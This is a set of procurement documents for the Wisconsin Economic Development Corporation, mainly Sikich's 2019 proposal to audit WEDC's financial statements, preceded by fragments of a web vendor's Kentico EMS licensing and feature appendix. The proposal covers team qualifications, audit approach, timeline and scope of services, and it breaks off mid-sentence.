Allows users to control the amount of content shown within a section of a page. Useful for FAQ lists and pages with
large descriptions and/or diagrams for a variety of subjects on a single page.
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Appendix B
Marketing Automation
Skyline recommends utilizing the Kentico EMS version if WEDC would like to manage and modify the automated
emails utilized within this site.
The EMS version will allow for flexibility in drip campaigns, reminder emails, and other touchpoints with buyers and
suppliers that WEDC would be able to create on their own utilizing the content management system. Skyline’s
approach will be to hard-code these emails as an alterative to the higher-tier licensing below, meaning the look/feel
as well as content will not be as flexible or easily updated.

Description
Kentico EMS Licensing – perpetual license
Kentico Annual Maintenance – 1 additional year

Cost
$19,999
$5,099

Skyline Kentico Gold Partner Discount – 10%

($2,510)

Total

$22,588

Kentico EMS Features
Email Marketing
Optimize Now for Maximum Engagement
With Email Marketing in Kentico, you can immediately see how many people opened your email and clicked the link.
You know which content was most engaging and A/B test your content to optimize your future mailings based on
these results.

Marketing Automation
Automate Your Content Delivery
As visitors go through multiple stages during their customer life cycle, Marketing Automation allows you to deliver
them the right content and initiate sales activities in a personalized way.

Content Personalization
Right Content, Right Person, Right Time
Content Personalization helps you deliver the right content to the right person at the right time, based on factors such
as browsing history, demographics, behavior, purchase stage, location, browser or device, and more.
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Lead Scoring
Effective Sales with Qualified Leads
With Kentico's built-in Lead Scoring, you can define rules and assign points to qualify your leads automatically and
gauge when your visitors become hot leads, meaning you pass only valuable contacts to your sales team.

A/B Testing
Take the Guesswork Out of Perfection
Kentico’s Online Marketing solution’s built-in A/B and Multivariate (MVT) Testing allows you to use an iterative
approach for delivering content to visitors by testing page variations and identifying and optimizing those that work.

Integrated Campaign Management
Optimize Your Campaigns for Better Results
With Kentico’s Integrated Campaign Management, the time to execute cross-channel digital marketing campaigns is
greatly reduced. With no need for third-party modules, its full out-of-the-box functionality lets you develop campaign
assets, launch campaigns, and analyze results from one location, helping optimize your campaigns for better results.
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TRANSMITTAL LETTER
March 7, 2019

Ms. Natalya Krutova
Controller
Wisconsin Economic Development Corporation
201 West Washington Ave, 6th Floor
Madison, Wisconsin 53703
Dear Natalya,
Sikich is pleased to be considered for the appointment as independent auditors for the Wisconsin Economic Development
Corporation. We believe that our qualifications, experience and expertise are clearly distinguishable as indicated in the
following proposal. The expertise we possess in the state and local government industry is demonstrated by our clients’
successes, our staff’s involvement in the industry and our leadership roles in various government associations. Our clients
receive the quality and timeliness only available from a firm of our caliber.
We have received the Request for Proposal and are prepared to commit the resources necessary to provide services to the
Wisconsin Economic Development Corporation. We will not only perform the audit, but we will also provide governmental
accounting and financial reporting expertise and technical assistance throughout the year. We understand the scope of the
work to be performed and the timing requirements as specified in the Request for Proposal, and are committed to performing
the specified services within that timeframe.
We appreciate the opportunity to present this proposal, which is a firm and irrevocable offer for 60 days, and look forward to
the possibility of serving the Wisconsin Economic Development Corporation.

Sincerely,

Daniel A. Berg, CPA
Partner

Frederick G. Lantz, CPA
Partner-in-Charge, Government Services
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EXECUTIVE SUMMARY
We know what’s challenging to the Wisconsin Economic Development Corporation. Here are the strategies and solutions we
recommend for you in order to face those challenges head-on and achieve success.
Thank you for considering Sikich. We appreciate the opportunity to propose for the Wisconsin Economic Development
Corporation.
Sikich is one of the country’s top 30 Certified Public Accounting firms and a top 10 value-added reseller of technology
products, with more than 750 employees serving clients in all 50 states. Clients turn to us for their professional service needs
due to our deep industry knowledge working with organizations of their size and for the caliber of service and attention we
provide—especially when it comes to dedicated, experienced service teams and partner access.
DEFINING YOUR CURRENT CHALLENGES
We recognize this is a time of constant change and ever increasing accountability. The task of the WEDC finance office is no
longer to report financial results by long-standing standards that are widely known and commonly understood. The task in
today's environment is to keep up with the ever-changing standards from GASB and the Office of Management and Budget
with the new Uniform Guidance. The task is also to keep up with new reporting and accountability requirements from the
state, new automated processing systems, and fringe benefit tax laws.
DEFINING YOUR BEST POSSIBLE SOLUTIONS
These ever-changing standards and accountabilities require adjusting computer systems and internal processes to adapt to
the changing standards and then to report in accordance with the new standards. This shift in the environment has caused a
shift in the WEDC thinking about an audit firm. We understand that the WEDC requires a year-round partner, who will assist
the WEDC in keeping up to date with the standards and provide assistance, when needed, on specialty topics, as well as
someone who can audit to the standards. Sikich is on the leading edge of the standards as they are being developed. We
also have a strong commitment to current and effective technology as our firm has a solid core of technological abilities
supported by a full technology division.
DEFINING YOUR FUTURE SUCCESS
Additional details around our audit-specific capabilities are included in the next section of this document. These capabilities,
in combination with our timely completion and issuance of your reports, will not only fulfill your current needs, but will
undoubtedly drive stability for the Wisconsin Economic Development Corporation.
Throughout the following paragraphs, you will find summaries of each section within this proposal. We encourage you to
review each section in its entirety to gain a detailed understanding of how we can help you build your bottom line and achieve
success.
WHY THE WISCONSIN ECONOMIC DEVELOPMENT CORPORATION SHOULD SELECT SIKICH
Clients turn to us because our professionals are uniquely qualified to provide the service and industry expertise necessary to
drive their organizational success. Specifically, Sikich offers the access to resources, decades of experience and passion for
action necessary to face your challenges head-on with you.
PARTNER, SUPERVISORY AND STAFF QUALIFICATIONS AND EXPERIENCE
A crucial component to the Wisconsin Economic Development Corporation’s success is working with a team completely
dedicated to the government industry, ensuring that those individuals understand your challenges and what it takes to realize
success. Your engagement team is made up of senior professionals who will provide the expertise, insights and
responsiveness your organization requires.
SPECIFIC AUDIT APPROACH
Our approach is always holistic, forward-thinking and customized for the Wisconsin Economic Development Corporation’s
specific needs. We operate in a way that provides full attention to evaluating significant areas, including those that present
the greatest risk and where new opportunities for financial and operational improvement may exist.
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SCOPE OF SERVICES FOR THE WISCONSIN ECONOMIC DEVELOPMENT CORPORATION
The scope of our work for the Wisconsin Economic Development Corporation is outlined in the following proposal. We want
to invest in what we hope will become a long-lasting relationship with the Wisconsin Economic Development Corporation,
which is why we commit to delivering the results the Wisconsin Economic Development Corporation requires. The timeline of
the engagement on which we are proposing is outlined in this section.
We would be honored to continue to call the Wisconsin Economic Development Corporation our client and look forward to
working with you.
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TECHNICAL PROPOSAL
STATEMENT OF INDEPENDENCE
Sikich has evaluated its independence from the Wisconsin Economic Development Corporation and its component units in
accordance with generally accepted auditing standards, the Governmental Auditing Standards, 2011 revision, published by
the U.S. Government Accountability Office, and the AICPA Code of Professional Conduct. Based upon our evaluation, Sikich
is free of any personal and external impairment with respect to the Wisconsin Economic Development Corporation and its
component units, and is independent with respect to any non-attest services provided to the Wisconsin Economic
Development Corporation and its component units, both in fact and in appearance to any knowledgeable third party.
POTENTIAL CONFLICTS OF INTEREST
We audit several subsidiary corporations of Foxconn. We are not participating in providing the data necessary for these
corporations to receive incentives from the WEDC. Therefore, we believe there is no conflicts of interest with WEDC.
LICENSE TO PRACTICE IN WISCONSIN
Sikich is a licensed Public Accountant Limited Liability Partnership in Wisconsin (license #1197-3). All of the partners assigned
to the engagement are registered and licensed Certified Public Accountants (CPAs) in Wisconsin. In addition, all of the
professional staff assigned to the engagement are full time staff and are either registered Certified Public Accountants or are
completing the exam.
PARTNER, SUPERVISORY AND STAFF QUALIFICATIONS AND EXPERIENCE
Sikich commits to providing a team of senior professionals, all of whom have unmatched expertise in the government industry.
A crucial component to the Wisconsin Economic Development Corporation’s success is working with a team that is completely
dedicated to the government industry, ensuring that those individuals understand your challenges and what it takes to realize
success. The WEDC will receive unparalleled levels of expertise, insights and responsiveness from a team of senior
professionals who have significant experience working with government entities. Our firm offers several employee retention
programs, including tuition reimbursement, CPA review and exam assistance, a computer purchase program, travel
assistance and more. We have been named as a Best Place to Work for several years, both on a local and national level. We
make every effort to recruit and retain quality staff. However, employee turnover is inevitable. In the event of staff turnover on
the WEDC engagement, we will seek the prior written approval of the WEDC.
The Wisconsin Economic Development Corporation’s key engagement team members will be supported by staff on the firm’s
government services team. Please refer to the Exhibits section on page 44 to read biographies of the WEDC’s engagement
team.
DANIEL A. BERG, CPA]
ENGAGEMENT PARTNER

As engagement partner, Dan will be responsible for the overall management of the audit. This includes developing and
coordinating the overall audit plan, the in-depth review of all workpapers and the review of the Wisconsin Economic
Development Corporation’s comprehensive annual financial report. Moreover, our firm’s philosophy is to have the team leader
on location during the completion of the majority of fieldwork. Therefore, Dan will be present at the Wisconsin Economic
Development Corporation’s offices during both our preliminary and final fieldwork.
FREDERICK G. LANTZ, CPA
RESOURCE PARTNER

The resource partner is responsible for providing overall technical support for the engagement as well as serving as a backup
for the engagement partner.
JAMES R. SAVIO, CPA, MAS
QUALITY CONTROL PARTNER

The quality control partner will provide a second partner review of the audit workpapers and the Wisconsin Economic
Development Corporation’s comprehensive annual financial report.
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BRAD LUTGEN
INFORMATION SYSTEMS PARTNER

Brad will be responsible for coordinating and conducting the review of the Wisconsin Economic Development Corporation’s
information systems. It is necessary to document our understanding of the significant controls in place in order to properly
plan the nature, timing and scope of our audit procedures. Brad will also be responsible for conducting the review of our work
performed in accordance with The Uniform Guidance.
DEBI KOZENIECKI, CPA
AUDIT MANAGER

As the audit manager, Debi will be another contact for anything related to the successful audit of your organization. Debi will
be responsible for leading the assurance team in the field and coordinating all assurance efforts.
ADDITIONAL PROFESSIONAL STAFF
Other professional staff assigned to the engagement will be full-time employees of the firm and have a minimum of one to
three years of auditing experience. In addition, all professional staff assigned to government engagements meet and usually
exceed the CPE requirements contained in the U.S. Government Accountability Office, Government Auditing Standards
(2011). Moreover, our government staff possess a specific knowledge of local government accounting and reporting
requirements and their application for local governments. This is achieved by attending at least 40 hours per year of a
combination of external courses sponsored by the AICPA, ICPAS, GFOA and IGFOA, as well as internal courses.
This enables our firm to staff our governmental engagements with qualified professionals in the industry, providing valuable
services to our governmental clients during the audit and throughout the year. We can assure you that our professional staff
would not need any “on the job accounting or financial reporting training” by your staff. Moreover, we can assure the
Wisconsin Economic Development Corporation the quality of staffing for a multi-year engagement, even if a change in
personnel is required, subject to your approval.
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SIMILAR ENGAGEMENTS WITH OTHER GOVERNMENT ENTITIES
Following is a list of significant engagements performed last year that are similar to the engagement proposed for the
Wisconsin Economic Development Corporation.
Name

Contact

Office of the Auditor General
State of Illinois
Iles Park Plaza
740 East Ash St.
Springfield, IL

Ms. Jane Clark
Director of Financial & Compliance Auditors
217.782.6046
jclark@auditor.illinois.gov

#Southern Illinois University Edwardsville University Related Organizations
#30 N. Circle Drive
Campus Box 1082
Edwardsville, Illinois

Mr. Rich Hampton
Director of Financial Affairs
618.659.9300
rihampt@siue.edu

*Jefferson County
311 S. Center Ave.
Jefferson, WI

Mr. Marc DeVries
Finance Director
920.674.7142
marcd@jeffersoncountywi.gov

*City of Aurora, Illinois
44 E. Downer Place
Aurora, Illinois

^Mr. Brian Caputo
Finance Director
630.942.2218
caputob@cod.edu

^ Mr. Caputo is retired from City of Aurora and is now the Vice President, Administration and Treasurer (CFO) at College of DuPage. Mr. Caputo is a member
of the Governmental Accounting Standards Board
* These governments participate in GFOA’s Certificate of Achievement for Excellence in Financial Reporting Program (we assisted 50 governments in
receiving their first Certificate awarded). Sikich has more than 75 clients that have applied for and received the Certificate of Achievement for Excellence in
Financial Reporting. In addition, Single Audits of Federal Expenditures were performed for WEDC, Jefferson County, City of Aurora and many others.
# SIUE-URO’s include SIUE Foundation, SIUE Charter School, SIUE Alumni Association and SIUE University Park. These entities are component units of
Southern Illinois University, which is a component of the State of Illinois.

Note 1 – We serve as special assistants to the Illinois State Auditor General and provide financial and compliance audit services
to several departments of the State of Illinois annually, including but not limited to:
•

Department of Transportation

•

Department of Revenue

•

Department of Central Management Services

•

Department of Healthcare and Family Services

•

Department of Children and Family Services

•

State Board of Elections
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SPECIFIC AUDIT APPROACH
From identifying expectations to executing a plan to preparing for next
year, our approach is holistic and always forward-thinking.
For the Wisconsin Economic Development Corporation, our approach
satisfies a number of requirements, including high-quality service,
access to senior resources and specialization in the government
industry. We strongly believe Sikich is the firm that can offer you all of
these and more.
We will tailor this engagement to the Wisconsin Economic Development
Corporation’s specific needs—always with a view toward identifying
new opportunities for financial and operational improvement.
Procedures are designed to give full attention to evaluating significant
areas, including those that present the greatest risk. Sikich’s holistic
approach will address critical compliance and risk management needs.
Before embarking on this engagement, we will make certain to have a
clear understanding of your mission and strategic direction. We do this
by identifying and addressing risks and helping you ensure financial strength. We strongly believe there is no such thing as
too much communication, not only during the engagement, but also throughout the year.
AUDIT STANDARDS
The objective of our audit is to issue an unmodified opinion on the Wisconsin Economic Development Corporation’s
governmental activities, and the major fund that collectively comprise the Wisconsin Economic Development Corporation’s
basic financial statements. The audit will be conducted in accordance with generally accepted auditing standards as set forth
by the American Institute of Certified Public Accountants, and, if necessary, generally accepted government auditing
standards issued by the United States Government Accountability Office (GAO, 2011), the Single Audit Act of 1996 and the
Uniform Guidance. Our firm will issue an opinion on the basic financial statements and will subject the combining and individual
fund financial statements and schedules and any other supplementary information to the auditing procedures applied in our
audit of the financial statements and certain additional procedures, including comparing and reconciling such information
directly to the underlying accounting and other records used to prepare the financial statements or to the financial statements
themselves, and other additional procedures in accordance with auditing standards generally accepted in the United States
of America and will provide an opinion on it in relation to the financial statements as a whole.
In addition, we will apply certain limited procedures to the Required Supplementary Information. These limited procedures will
consist of inquiries of management regarding the methods of preparing the information and comparing the information for
consistency with management’s responses to our inquiries, the basic financial statements, and other knowledge we obtained
during our audit of the basic financial statements. We will not express an opinion or provide any assurance on the information
because the limited procedures do not provide us with sufficient evidence to express an opinion or provide any assurance.
We will not audit the statistical or introductory sections of the comprehensive annual financial report and accordingly, will not
express an opinion on the information contained in these sections.
Wherever possible, we will utilize your schedules to maximize efficiencies and contain audit costs. We request that the
Wisconsin Economic Development Corporation provide us with the basic information required for our audit.
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Sikich’s audit approach includes, but is not limited to, the following procedures:
▪ Audit plan development
▪ Determination of materiality
▪ Audit risk evaluation
▪ Interviews with management to provide information for detailed documentation of the internal control structure
▪ Interviews and analysis of audit evidence to identify and assess risks that may result in material misstatement due to
fraud
▪ Measurement of accounting presentation and compliance reporting by identifying and focusing on areas sensitive to
organizations like the Wisconsin Economic Development Corporation
▪ Performance of testing to evaluate your organization’s internal control structure
▪ Confirmation of various accounts, performance of substantive testing and analytical procedures
▪ Performance of additional testing, as necessary
PRACTICAL AND CONSTRUCTIVE MANAGEMENT LETTER COMMENTS
We believe the management letter is an important part of the engagement, and we encourage all members of our engagement
team to give thoughtful consideration toward developing constructive comments within the constraints of the overall
engagement. Our policies regarding management letters adhere to the Professional Standards of the AICPA. If significant
deficiencies and material weaknesses in internal controls are noted during the audit, they are required to be communicated
in writing to those charged with governance. Items of an immaterial nature (i.e., clerical problems, minor procedures or
reporting problems, etc.) are communicated to management. In both cases, we adhere to a strict firm policy that all comments
and recommendations are discussed in preliminary form with appropriate personnel prior to their communication. This allows
for clarification of misunderstandings, miscommunication or compensating controls or factors which may be in place.
QUALITY CONTROL
At Sikich, we are committed to providing the highest quality audits in the industry. the Wisconsin Economic Development
Corporation can be assured of receiving the highest level of quality and ethical professional services. Quality control is so
important to us that our firm has been a member of the Private Companies Practice Section of the Division for CPA Firms of
the AICPA since our formation in 1982. As such, we have voluntarily submitted our audit and accounting practice to quality
control reviews of our compliance with professional standards as established by the AICPA and, more recently, by the United
States Government Accountability Office, for more than 30 years. In 2017, we received our tenth consecutive peer review
unmodified (“pass”) report. This is the highest level of recognition conferred upon a public accounting firm for its quality
control systems. Also, we go beyond the external reviews and maintain strong internal reviews of procedures and processes
with oversight by our Quality Assurance Committee and our Partner-in-Charge of Quality Assurance. Please refer to the
Exhibits section for a copy of our most recent peer review which included a review of specific government engagements since
this accounts for a significant segment of our practice.
In addition, our state and local government reports have been reviewed by numerous federal and state oversight bodies and
professional organizations. These reports have been judged to meet and, in most instances, exceed industry standards and
requirements. Sikich has not been the subject of any disciplinary action or inquiry during the past five years. Sikich is a
member of the AICPA’s Governmental Audit Quality Center (GAQC), which is a firm-based voluntary membership center
designed to promote the importance of quality governmental audits and the value of these audits to purchasers of government
audit services. As a member of the GAQC, Sikich has access to key information and comprehensive resources that we use
to help ensure our compliance with appropriate professional standards and laws and regulations that affect our audits.
Through our membership in the GAQC, we also adhere to membership requirements designed to enhance the quality of our
audit practice.
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WHY THE WISCONSIN ECONOMIC DEVELOPMENT CORPORATION SHOULD SELECT
SIKICH
Our team works devotedly with governmental entities just like yours, has the resources required to perform this engagement
and is technically experienced and insightful.
As previously mentioned, clients turn to us because our professionals are uniquely qualified to provide the service and industry
expertise necessary to drive their organizational success. Your challenges are our challenges, and chances are, we have
successfully faced them many times before. Aside from this, here are a number of reasons how the Wisconsin Economic
Development Corporation can benefit from a relationship with Sikich.
ACCESS
With Sikich, you get access to a multitude of resources that will help your organization grow today and in the future.
ACCESS TO SENIOR RESOURCES

You will gain confidence in your operations by working with a team of articulate professionals who have received the highest
recognitions in their fields. To demonstrate the importance of our relationship, we pledge to provide you with unparalleled
involvement from our most senior resources. Our partners are on-site during audit fieldwork and are available year-round for
direct consultation as issues occur.
ACCESS TO EDUCATION

The Wisconsin Economic Development Corporation will remain abreast of regulatory changes and best organizational
practices as Sikich’s team receives ongoing continuing education they will directly apply to the Wisconsin Economic
Development Corporation’s engagement. We accomplish this by anticipating your needs based on our experience with you
and your industry, and using a variety of communication channels: timely responses to your questions; informal discussions;
mailings on topics of interest to you; and relevant seminars, all of which are complimentary for our clients. Past topics of
thought leadership have included:
▪ Governmental Accounting and Financial Reporting Update
▪ Implementing GASB Statement No. 67, Financial Reporting for Pension Plans
▪ Implementing GASB Statement No. 54, Fund Balance Reporting and Government Fund Type Definitions
▪ Government Financial Resiliency
▪ Public Sector Strategic Planning
▪ Performance Measurement
▪ Payroll Reporting for Government Entities
▪ Employee Handbook Workshop
▪ Keeping the Keepers: A Guide to Employee Retention
▪ Identity Dos & Don’ts: Agency Branding
▪ Video: Web Applications
▪ Virtualization
▪ Fraud Detection and Prevention
▪ Technology Threats
▪ Not-for-profit Governance Policies and Procedures
▪ Unrelated Business Income Tax
▪ Navigating the New Form 990
▪ The New 990, What Every Board Member Should Know
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ACCESS TO VALUE

Your organization will receive extraordinary value for Sikich’s fee because we are dedicated to a customer-centric approach
that includes open communication, respect and clear results. As a leader, the overall success of your organization should be
the core of your focus. We’re here to be your trusted advisor for those functions you can’t focus on every moment, as well as
for issues affecting the government industry, including new accounting pronouncements and employee benefit regulations.
We understand that each client has its own unique set of needs, business practices and operating environment. Our services
are tailored to the specific needs of your organization.
EXPERIENCE
Helping clients achieve long-term success is what we do. Our professionals will bring to your engagement the deep industry
and service-level experience they have accumulated throughout the years.
EXPERIENCE IN YOUR INDUSTRY

Sikich’s state and local government team provides services to more than 450 counties, cities, villages, towns and other local
governments. Many of these have been long-standing clients and are evidence of our dedication to the state and local
government industry and our ability to provide high quality, timely services within this specialized industry. These clients and
related work have enabled our firm to develop an extensive nationally recognized expertise in governmental accounting,
auditing and financial reporting procedures and practices.
Senior members of our government services team presently hold memberships and are actively involved in numerous
governmental organizations, including:
▪ AICPA Government Audit Quality Center
▪ American Institute of Certified Public Accountants (AICPA)
▪ Central Association of College and University Business Officers (CACUBO)
▪ GFOA Special Review Committee (SRC)
▪ Government Finance Officers Association of Missouri (GFOA-MO)
▪ Government Finance Officers Association of the United States and Canada (GFOA)
▪ Wisconsin Government Finance Officers Association
▪ ICPAS Governmental Report Review Committees
▪ IGFOA Technical Accounting Review Committee
▪ Illinois Association of County Board Members and Commissioners (IACBMC)
▪ Illinois Association of Fire Protection Districts (IAFPD)
▪ Illinois Association of Park Districts (IAPD)
▪ Illinois Association of School Business Officials (IASBO)
▪ Illinois City/County Management Association (ILCMA)
▪ Illinois County Treasurers’ Association (ICTA)
▪ Illinois CPA Society (ICPAS)
▪ Illinois Government Finance Officers Association (IGFOA)
▪ Illinois Library Association (ILA)
▪ Illinois Municipal Treasurers Association (IMTA)
▪ Illinois Parks and Recreation Association (IPRA)
▪ Illinois Tax Increment Association (ITIA)
▪ International City/County Manager’s Association (ICMA)
▪ National Association of College and University Business Officers (NACUBO)
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EXPERIENCE IN WHAT WE DO

Your Sikich engagement team is comprised of senior CPAs who have been working in the field for years. Providing highquality audit services is second nature to each of them, which is proven through our impressive track record of helping clients
succeed. This team will provide the Wisconsin Economic Development Corporation with timely completion of professional
services. Moreover, members of the Sikich government services team have served as expert speakers to organizations, state
GFOAs and others for formal presentations at local meetings and annual conferences on a variety of governmental
accounting, auditing and financial reporting topics. We have also developed governmental accounting, auditing and financial
reporting training courses for various organizations with members of our firm serving as lead instructors for the courses.
EXPERIENCE IN GOVERNMENT OPERATIONS

Because of our large, diverse client base and our ability to attract talent from a variety of professional backgrounds, Sikich
has an established reputation as one of the leading providers of professional services in the Midwest to governmental entities.
Our team of professionals specializes in the management, operations and financing of general purpose state and local
governments, park districts, intergovernmental organizations, municipal utilities and special districts. This focus and our
exemplary reputation assure the Wisconsin Economic Development Corporation the highest quality work and the most costeffective delivery of services.
INITIATIVE
One of our strengths at Sikich is our need to be proactive. We find potential issues before you have to worry about them,
because we’re ready with a solution.
INITIATIVE FOR A SMOOTH AUDIT

Your audit with Sikich will be a non-disruptive one. Dan and Debi have directed the audits of many clients and will bring this
experience to the Wisconsin Economic Development Corporation engagement team. Your engagement team will have
continuous, hands-on involvement in what we consider an important relationship with the Wisconsin Economic Development
Corporation. We have many ways of achieving this such as:
▪ Developing an agreed-upon timetable for deliverables and follow up regularly on their progress
▪ Utilizing concise audit programs, eliminating unnecessary audit steps and preparing audit schedules and workpapers
▪ Using existing client materials to the greatest extent possible, such as internal control memos and client assistance
letters
INITIATIVE FOR CUSTOMIZED SOLUTIONS

One-on-one, you will receive customized solutions based on your unique needs, and only your unique needs. You will find
that achieving financial stability and growth, as well as uncovering new opportunities to improve performance, is possible
through the strategies that Sikich experts will recommend and on which they will educate you.
After a more thorough review of your operations and audit-specific matters, we may uncover other opportunities. As part of
our ongoing service and commitment to the Wisconsin Economic Development Corporation, we keep you abreast of
regulatory changes and best business practices to ensure we identify crucial opportunities that will benefit the Wisconsin
Economic Development Corporation.
INITIATIVE FOR YOUR SATISFACTION

The Wisconsin Economic Development Corporation’s success is built upon the quality services and value you feel you receive
from Sikich, which is why we will continually gauge your satisfaction to enhance our relationship. At various checkpoints
during the engagement, a Sikich representative will meet with you to discuss how satisfied you have been with our services,
our team and the value we provide. Areas stressed during these meetings will include:
▪ What can we do to make our services more valuable to you?
▪ What specific part of our service exceeded your expectations?
▪ In which areas do you feel we need improvement?
▪ Do you feel like a valued client of the firm?
▪ What is your vision for the Wisconsin Economic Development Corporation?
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SCOPE OF SERVICES FOR THE WISCONSIN ECONOMIC DEVELOPMENT CORPORATION
We will exceed your expectations by conducting and delivering on a high-quality engagement within your required timeline—
all for a reasonable fee.
We are proposing to provide the following services to the Wisconsin Economic Development Corporation as specified in the
RFP:
▪ Audit of basic financial statements of the Wisconsin Economic Development Corporation for the fiscal year ending
June 30, 2019.
▪ Preparation of fifty (50) bound copies and an electronic copy (.pdf) of the comprehensive annual financial report (report
covers, dividers, introductory section, MD&A and certain statistical data to be provided by the Wisconsin Economic
Development Corporation);
▪ Preparation of twenty (20) bound copies and an electronic copy (.pdf) of the management letter for the Wisconsin
Economic Development Corporation, communicating any material weaknesses and significant deficiencies found during
the audit and our recommendations for improvement;
▪ Preparation of twenty (20) bound copies and an electronic copy (.pdf) of the Single Audit Report, if applicable;
▪ Preparation of Data Collection Form to be submitted to the Federal Audit Clearinghouse, if applicable
▪ Assistance in completing and filing the required application and supporting documents to apply for the Certificate of
Achievement for Excellence in Financial Reporting;
▪ Retain workpapers for seven (7) years in accordance with firm standards;
▪ Reporting to the Board of Directors in accordance with Statement on Auditing Standards (SAS) No. 114,
Communications with Those Charged with Governance; and
▪ Exit conference(s) with the Wisconsin Economic Development Corporation Officials to present the completed audit and
related materials.
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CLIENT SERVICE TIMELINE
TIMEFRAME
EVENT

PERSON(S) ASSIGNED

I. Preliminary Planning

The meeting would be
attended by the
engagement partner and
engagement manager, if
necessary.

During this phase of the audit, we would meet with
representatives of the Wisconsin Economic Development
Corporation to discuss the approach we would take
during the audit, focusing on areas of particular concern
to the WEDC as well as areas of high audit risk, and
develop the time schedule for completing the
subsequent phases of the audit. (3 hours of WEDC time)
II. Preliminary Fieldwork
During this phase of the audit, we would develop an
understanding and documentation of the WEDC’s
accounting and administrative controls using its
accounting procedures manual, EDP documentation and
by interviewing staff. In addition, we may perform
compliance testing of those controls to determine which
controls, if any, that we could rely on during later phases
of the audit. Sample sizes would be determined during
this phase, but generally would be between 25 and 60.
Moreover, we would develop our planning materiality on
an individual fund basis and complete a preliminary
analytical review of the WEDC’s financial position as a
whole.

APR

MAY

JUN

JUL

AUG

SEP

OCT

NOV

This phase would be
completed by the
engagement partner,
engagement manager
and one professional
staff.

In addition, we would review all minutes from the
meetings of the Board of Directors; review all ordinances
adopted by the WEDC during the year; review any debt
agreements entered into during the year and analyze
any other unique transactions entered into by the
WEDC; and perform our fraud interviews in accordance
with Statement on Auditing Standards (SAS) No. 99.
Upon completion of this phase, we would finalize all
necessary confirmations the WEDC will prepare; review
all proposed client assisted work papers and the timing
of preparation by WEDC; develop our audit programs for
the next phase of the audit and review and document
any changes to the WEDC’s CAFR; and prepare the
schedule for the remainder of the audit. Approximately
24 hours of WEDC staff time.
III. Fieldwork
During this phase of the audit, we would complete all of
our substantive testing of the account balances and
prepare the draft of the WEDC’s financial statements
with a rough draft of the financial statements provided to
the WEDC at the conclusion of field work. We would also
prepare the draft of the management report. In addition,
an exit conference would be held with officials from the
WEDC to discuss the preliminary results of the fieldwork,
review any proposed audit adjustments, final adjusted
trial balances that agree to the financial statements and
any significant findings. Approximately 200 hours of
WEDC staff time.

This phase would be
completed by the
engagement partner,
engagement manager
and two to three
professional staff.
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TIMEFRAME
EVENT

PERSON(S) ASSIGNED

IV. Workpaper Review and Report Production

This phase would be
completed by the
engagement partner,
resource partner and the
quality control partner.

During this phase of the audit, the workpapers, drafts of
all financial reports and the management letter will be
reviewed by the resource partner and the quality control
partner. All workpapers are reviewed by the engagement
partner during phase III to ensure that all necessary
information is compiled during this phase to avoid
imposing upon the Wisconsin Economic Development
Corporation’s staff after fieldwork has been completed.
Approximately 32 hours of WEDC staff time to write the
CAFR
V. Drafts to the Wisconsin Economic Development
Corporation
We will deliver a preliminary draft of the CAFR at the end
of fieldwork. A revised draft will be delivered by the
engagement partner and reviewed in-depth with
representatives of the Wisconsin Economic Development
Corporation within three weeks of the preliminary draft. A
revised draft, if necessary, will be delivered to the
Wisconsin Economic Development Corporation no later
than three business days after receiving all proposed
changes.

APR

MAY

JUN

JUL

AUG

SEP

OCT

NOV

This phase would be
completed by the
engagement partner.

This phase would be
completed by the
Upon approval of the drafts by the Wisconsin Economic
engagement partner.
Development Corporation, we will present the signed,
bound copies of the comprehensive annual financial
report, the management letter and the additional reports
described in this proposal. The engagement partner will
be available for meetings with representatives of the
Wisconsin Economic Development Corporation including
the Wisconsin Economic Development Corporation
President, the Board of Trustees and management for
formal presentations of the reports.
VI. Completion of the Audit

VII. Support to the Wisconsin Economic Development
Corporation

This phase would be
completed by the
Our firm does not believe that the engagement ends with engagement partner.
the exit conference. We stress that we are available
throughout the year to provide technical accounting and
financial reporting assistance and support to the
Wisconsin Economic Development Corporation. In
addition, we constantly monitor recent events in the
state and local government industry, including new
pronouncements that may impact our government
clients, and communicate the effect of any proposed
changes throughout the year. Moreover, our letter of
recommendations each year will alert the Wisconsin
Economic Development Corporation to any new
pronouncements that may become effective in the next
one to three years, including the potential effect that the
pronouncement may have on the financial position
and/or changes in the financial position of the Wisconsin
Economic Development Corporation.

Ongoing
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In future years, we would develop a similar plan and timeframe with the assistance of the Wisconsin Economic Development
Corporation to ensure the timely identification and resolution of any critical accounting and auditing issues prior to the
issuance of our opinion and the comprehensive annual financial report. These completion dates are well within the deadlines
established by the Wisconsin Economic Development Corporation. We have a proven track record of meeting and exceeding
deadlines established by our clients.
IDENTIFICATION OF POTENTIAL AUDIT PROBLEMS
Our firm’s approach to resolving any problems that arise during the audit is the same as our overall approach to the audit―
professionalism. Professionalism in performing the audit is the cornerstone to our philosophy during all phases of the audit.
Any problems encountered during the audit, except for irregularities and illegal acts, will be discussed and documented with
the CFO. The timing of this discussion will provide the Wisconsin Economic Development Corporation with ample time to
rectify any situations that may otherwise result in the issuance of a qualified audit opinion. Irregularities and illegal acts
detected or of which we become aware of will be communicated in writing to CFO or the appropriate level as defined in our
professional standards.
Our firm’s philosophy on additional fees and/or billings is based on an understanding between the firm and the client of the
scope of the work to be performed. We have proposed a “not-to-exceed fee” for the audit, the scope and timing of which was
specified by the Wisconsin Economic Development Corporation. The billings for the audit would not exceed this fee unless
the WEDC specifically requests that the scope of the engagement be expanded and the WEDC and the firm reach a mutual
agreement, in writing, as to the expanded scope of the engagement and the fee, if any, for the expanded scope.
Sikich will comply with all relevant rules and regulations of authoritative bodies and the AICPA Code of Professional Conduct
regarding access to our working papers and audit documentation. Reasonable requests for access will not be denied.
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ADDITIONAL RESOURCES AND SERVICES
With more than a dozen services, our areas of expertise are oftentimes complementary of one another. How else can we help
you meet your government’s goals?
Many times, the challenges for which you enlist Sikich’s help may be faced more effectively by integrating several of our
services. Based on our initial conversations with you, we believe that the Wisconsin Economic Development Corporation
could benefit from other services. Take a look at what we offer, and talk to your engagement partner about how these services
may complement what you are already seeking.
BUSINESS SUCCESSION PLANNING
Developing your succession plan, which includes understanding key legal issues to protect yourself and your business can
be an intimidating process. While succession planning is a delicate transition that requires strategic direction and tactical
implementation, the outcome of an exit plan can provide the means to achieve your business and personal goals. The financial
and personal investment you have in your business should be leveraged and protected to provide you with the legacy, peace
of mind, and financial freedom you desire. Evaluate your options and their potential impact with help from a combination of
valuation, merger & acquisition*, wealth advisory**, estate planning and business and tax strategy experts.
*Securities offered through Sikich Corporate Finance LLC, member FINRA/SIPC. ** Investment advisory services offered through Sikich Financial, an SEC
